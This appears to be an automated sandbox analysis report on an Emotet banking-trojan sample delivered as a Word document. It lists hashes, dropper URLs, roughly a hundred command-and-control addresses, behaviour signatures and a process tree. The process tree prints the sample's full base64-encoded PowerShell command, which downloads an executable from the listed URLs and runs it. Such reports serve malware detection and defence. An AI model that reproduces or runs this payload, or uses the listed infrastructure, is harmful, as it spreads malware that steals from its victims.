emotet | efcd54dbe67c5c0dcbb01abfc3f21030c54a8834d7edcdfcf1144f0b49773000

General

Target
Scan_2020_09_0045570834.doc
Size 180KB
Sample200918-tyshzerjp2
SHA256 efcd54dbe67c5c0dcbb01abfc3f21030c54a8834d7edcdfcf1144f0b49773000
MD5 1765177131bf35bce85bae369f6b02b8
SHA1 226866422c7ce5160fba9932b368a57e98e488b8
SHA512 993e5e2b0e7c08d5ed7fd4c83181981420ab4d65f82b72b509e62b4615b171f40d13fbb15968896a7cc27027b2c96a47db0acfaa84791b12a16c27613d516cb3
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://sasystemsuk.com/index_files/j9b/
exe.dropper
https://case.gonukkad.com/sys-cache/fmC/
exe.dropper
http://vandamebuilders.com/wp-includes/OEyjc9x/
exe.dropper
https://nilinkeji.com/online/Dmz/
exe.dropper
http://paganwitch.com/wp-admin/CmubpSk/
exe.dropper
http://www.ekramco.ir/english/fn/
exe.dropper
http://votesteve.us/closed_zone/Bk/

Extracted

Family

emotet

C2

71.72.196.159:80
134.209.36.254:8080
120.138.30.150:8080
94.23.216.33:80
157.245.99.39:8080
137.59.187.107:8080
94.23.237.171:443
61.19.246.238:443
156.155.166.221:80
50.35.17.13:80
153.137.36.142:80
91.211.88.52:7080
209.141.54.221:8080
185.94.252.104:443
174.45.13.118:80
87.106.136.232:8080
62.75.141.82:80
213.196.135.145:80
188.219.31.12:80
82.80.155.43:80
187.161.206.24:80
172.91.208.86:80
124.41.215.226:80
107.5.122.110:80
200.123.150.89:443
95.179.229.244:8080
83.169.36.251:8080
1.221.254.82:80
95.213.236.64:8080
181.169.34.190:80
47.144.21.12:443
203.153.216.189:7080
89.216.122.92:80
84.39.182.7:80
94.200.114.161:80
104.236.246.93:8080
139.99.158.11:443
176.111.60.55:8080
78.24.219.147:8080
220.245.198.194:80
62.30.7.67:443
139.162.108.71:8080
104.32.141.43:80
153.232.188.106:80
93.147.212.206:80
79.137.83.50:443
96.249.236.156:443
24.43.99.75:80
75.80.124.4:80
42.200.107.142:80
110.5.16.198:80
5.196.74.210:8080
110.145.77.103:80
200.114.213.233:8080
85.152.162.105:80
5.39.91.110:7080
109.74.5.95:8080
140.186.212.146:80
37.187.72.193:8080
97.82.79.83:80
139.130.242.43:80
201.173.217.124:443
123.176.25.234:80
104.131.44.150:8080
74.208.45.104:8080
139.59.60.244:8080
120.150.60.189:80
74.219.172.26:80
219.75.128.166:80
82.225.49.121:80
85.105.205.77:8080
24.179.13.119:80
74.120.55.163:80
174.102.48.180:443
219.74.18.66:443
168.235.67.138:7080
194.187.133.160:443
78.187.156.31:80
103.86.49.11:8080
61.92.17.12:80
24.137.76.62:80
104.131.11.150:443
79.98.24.39:8080
75.139.38.211:80
162.241.242.173:8080
195.251.213.56:80
37.139.21.175:8080
46.105.131.79:8080
50.91.114.38:80
121.124.124.40:7080
74.134.41.124:80
68.188.112.97:80
137.119.36.33:80
121.7.127.163:80
87.106.139.101:8080
94.1.108.190:443
169.239.182.217:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	188	3448	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2216-16-0x00000000004F0000-0x0000000000502000-memory.dmp	emotet
behavioral2/memory/2216-16-0x00000000004F0000-0x0000000000502000-memory.dmp	emotet
behavioral2/memory/2216-17-0x00000000005F0000-0x0000000000600000-memory.dmp	emotet
behavioral2/memory/2216-17-0x00000000005F0000-0x0000000000600000-memory.dmp	emotet
behavioral2/memory/2196-20-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/2196-20-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/2196-21-0x00000000004E0000-0x00000000004F0000-memory.dmp	emotet
behavioral2/memory/2196-21-0x00000000004E0000-0x00000000004F0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	188	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2216	T14gn0.exe
2196	mlang.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDUSA\mlang.exe	T14gn0.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3940	WINWORD.EXE
3940	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
188	powershell.exe
188	powershell.exe
188	powershell.exe
2196	mlang.exe
2196	mlang.exe
2196	mlang.exe
2196	mlang.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	188	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
3940	WINWORD.EXE
2216	T14gn0.exe
2196	mlang.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 188 wrote to memory of 2216	188	powershell.exe	80
PID 188 wrote to memory of 2216	188	powershell.exe	80
PID 188 wrote to memory of 2216	188	powershell.exe	80
PID 2216 wrote to memory of 2196	2216	T14gn0.exe	82
PID 2216 wrote to memory of 2196	2216	T14gn0.exe	82
PID 2216 wrote to memory of 2196	2216	T14gn0.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Scan_2020_09_0045570834.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABRAGcAbgB1AHoAawBxAD0AKAAnAFkAJwArACcAMgAnACsAKAAnAHIAdQBqAGUAJwArACcAYQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAFIATwBGAEkATABlAFwASgBIAEEAaQBOAEcARwBcAGUANwBwAFoANQBfAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAGAAUgBJAHQAYAB5AHAAUgBvAFQAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACcAKQArACgAJwAgAHQAJwArACcAbABzADEAMQAnACkAKwAnACwAIAAnACsAJwB0AGwAJwArACcAcwAnACkAOwAkAEUANQBuADkAMQBzAGoAIAA9ACAAKAAoACcAVAAnACsAJwAxADQAJwApACsAJwBnAG4AJwArACcAMAAnACkAOwAkAFkAeQA5AGoAeAAyAHkAPQAoACgAJwBFAGkAJwArACcAdQAnACkAKwAnAGsAdAAnACsAJwBlADEAJwApADsAJABDADYAcABxAHMAZwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AEoAaAAnACsAKAAnAGEAJwArACcAaQBuAGcAJwApACsAJwBnAHsAMAB9AEUANwAnACsAJwBwAHoANQBfAHcAewAwAH0AJwApACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAEUANQBuADkAMQBzAGoAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABDADMANQBrAHcAMQB4AD0AKAAnAEIAJwArACgAJwA2AG4AJwArACcAOQAnACkAKwAoACcAZAAnACsAJwBnAHEAJwApACkAOwAkAEYANgBuAHIAbwBlADEAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AVwBFAEIAQwBMAGkAZQBuAFQAOwAkAEoAbABtAHgAbgB4AGMAPQAoACgAJwBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBzAGEAJwArACcAcwB5ACcAKQArACcAcwB0ACcAKwAoACcAZQBtACcAKwAnAHMAdQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAGkAbgBkACcAKwAnAGUAJwArACcAeAAnACkAKwAoACcAXwBmACcAKwAnAGkAbABlACcAKQArACgAJwBzAC8AJwArACcAagAnACkAKwAnADkAJwArACgAJwBiAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAcwAnACsAJwBlAC4AZwBvACcAKQArACcAbgAnACsAJwB1ACcAKwAoACcAawBrAGEAZAAuAGMAJwArACcAbwAnACsAJwBtACcAKQArACcALwAnACsAKAAnAHMAJwArACcAeQBzACcAKQArACgAJwAtACcAKwAnAGMAYQAnACkAKwAnAGMAaAAnACsAKAAnAGUALwBmAG0AQwAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACgAJwAvAHYAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwBkAGEAJwApACsAKAAnAG0AJwArACcAZQBiAHUAJwApACsAJwBpACcAKwAnAGwAZAAnACsAKAAnAGUAJwArACcAcgBzACcAKQArACgAJwAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACcALQAnACsAJwBpACcAKwAoACcAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAE8AJwApACsAJwBFAHkAJwArACcAagBjACcAKwAoACcAOQB4AC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBuAGkAbAAnACsAJwBpAG4AJwApACsAJwBrAGUAJwArACcAagAnACsAKAAnAGkAJwArACcALgBjAG8AbQAnACkAKwAoACcALwBvACcAKwAnAG4AbABpACcAKwAnAG4AZQAvACcAKQArACcARABtACcAKwAoACcAegAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAOgAvAC8AJwArACcAcABhACcAKQArACgAJwBnAGEAJwArACcAbgB3AGkAJwApACsAKAAnAHQAYwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwBtAC8AdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACcAbQBpACcAKwAoACcAbgAnACsAJwAvAEMAbQB1AGIAcABTACcAKwAnAGsAJwApACsAJwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAoACcALwAnACsAJwAvAHcAdwAnACsAJwB3AC4AZQBrACcAKQArACgAJwByACcAKwAnAGEAbQBjACcAKQArACcAbwAnACsAJwAuACcAKwAnAGkAcgAnACsAJwAvAGUAJwArACgAJwBuAGcAbAAnACsAJwBpAHMAaAAnACsAJwAvACcAKwAnAGYAbgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAoACcAdgAnACsAJwBvAHQAZQBzAHQAJwApACsAKAAnAGUAJwArACcAdgBlAC4AdQBzAC8AJwApACsAKAAnAGMAJwArACcAbABvAHMAZQAnACkAKwAoACcAZAAnACsAJwBfAHoAbwAnACkAKwAoACcAbgBlAC8AJwArACcAQgAnACkAKwAnAGsALwAnACkALgAiAFMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBuAHAAOAAyAGEANAA9ACgAKAAnAEgAXwAnACsAJwBrACcAKQArACcAbAAxACcAKwAnADUAcgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOAGIAcgBnAG8AbwBoACAAaQBuACAAJABKAGwAbQB4AG4AeABjACkAewB0AHIAeQB7ACQARgA2AG4AcgBvAGUAMQAuACIAZABPAFcAbgBMAE8AQQBEAEYAYABpAGAAbABFACIAKAAkAE4AYgByAGcAbwBvAGgALAAgACQAQwA2AHAAcQBzAGcAbgApADsAJABCAHkAMQBvAHUAegBoAD0AKAAoACcAQQAyACcAKwAnAGkAJwApACsAKAAnADQAJwArACcAbgAxACcAKQArACcAeQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwA2AHAAcQBzAGcAbgApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIAMAAxADkAMwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABDADYAcABxAHMAZwBuACkAOwAkAEQAdwBnADEANABsAGMAPQAoACgAJwBKAF8AJwArACcAdwBxACcAKQArACcAbABzACcAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABMADcAcQByAGIANwBhAD0AKAAnAEYANwAnACsAJwBhADQAJwArACgAJwBhACcAKwAnAGMAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAB0AHcAaQBsAGgAagA9ACgAKAAnAFEAcQBnACcAKwAnADEAJwApACsAKAAnAHYAMwAnACsAJwAxACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:188
- C:\Users\Admin\Jhaingg\E7pz5_w\T14gn0.exe
  "C:\Users\Admin\Jhaingg\E7pz5_w\T14gn0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\SysWOW64\KBDUSA\mlang.exe
    "C:\Windows\SysWOW64\KBDUSA\mlang.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2196

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/188-11-0x000001846BBC0000-0x000001846BBC1000-memory.dmp

Download

memory/188-12-0x000001846BF70000-0x000001846BF71000-memory.dmp

Download

memory/188-10-0x00007FFB4AB70000-0x00007FFB4B55C000-memory.dmp

Download

memory/2196-20-0x00000000004B0000-0x00000000004C2000-memory.dmp

Download

memory/2196-21-0x00000000004E0000-0x00000000004F0000-memory.dmp

Download

memory/2216-16-0x00000000004F0000-0x0000000000502000-memory.dmp

Download

memory/2216-17-0x00000000005F0000-0x0000000000600000-memory.dmp

Download

memory/3940-0-0x00007FFB52B30000-0x00007FFB531F6000-memory.dmp

Download

memory/3940-5-0x000001ECEF1D4000-0x000001ECEF1D5000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads